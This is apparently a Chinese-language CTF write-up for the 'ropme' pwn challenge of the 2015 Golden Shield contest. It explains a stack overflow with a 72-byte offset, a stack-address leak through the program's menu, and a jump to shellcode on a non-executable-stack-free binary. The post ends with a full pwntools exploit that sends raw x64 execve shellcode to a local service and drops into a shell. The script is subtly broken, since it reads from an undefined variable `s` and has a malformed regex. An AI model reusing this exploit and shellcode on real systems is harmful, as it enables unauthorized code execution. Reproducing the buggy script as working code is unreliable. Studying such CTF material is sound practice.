[CTF] 104 年金盾獎 ropme Writeup

ㄎㄎ 大概只能產出這題超簡單 PWN 的 writup ….其他題目GG A_A

這題題目很明顯告訴你…ROPME……所以就ROP吧…XD

程式是 x64 的ELF 執行檔

丟給反組譯工具看看囉

ropme_ida_main

ropme_ida_ropme

看到這………函數名稱都叫你ROP他了..XXD

看到第7行~那邊有overflow的點~

ropme_ida_dis_ropme

那就來算要塞多少東西才能控制EIP囉 ……0x8 + 0x40  = 72

塞72個byte後就到了 return address 所在的位置

再繼續看一下commands這個function

ropme_ida_commands

這是他選單的部分

這題還滿好心的

其中一個選項直接給你了剛剛被overflow的變數的位置….( commands 中的 a1)

另一個選項也告訴你flag所在的位置

然後這題並沒有DEP….所以shellcode放上stack後再靠 a1 就能知道shellcode的位置了

所以先控制EIP到時候再回去ropme這個函數

接著靠他的選項leak出stack的位置

接下來回到ropme後,塞shell code以及將EIP控制到stack上

就能拿到shell囉

完整POC如下

 


import re

from pwn import *

socket = remote('127.0.0.1', 4000)


### Welcome Msg
socket.recv()

### What's your name
socket.recv()

### First Control EIP back to ropme function
socket.send('a'*72)
socket.send(p64(0x40087e))

socket.send('\n')
socket.recv()


### leak variable address
socket.send('1\n')
addr_info = s.recv()
ret_addr = re.findall(r'0x[0-9A-Za-f]+', addr_info)[0]

### exit , backto ropme function and then rsp + 0x8
socket.send('3\n')

### What's your name
text = s.recv()

### DEP not enable ....so..x64 shellcode
socket.send('\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05')

socket.send('b'*45)
### Controll EIP again ...we contol it jump to stack this time ( remember that stack address will + 0x8
socket.send(p64(int(ret_addr,16)+8))

socket.send('\n')

socket.interactive()


留言

comments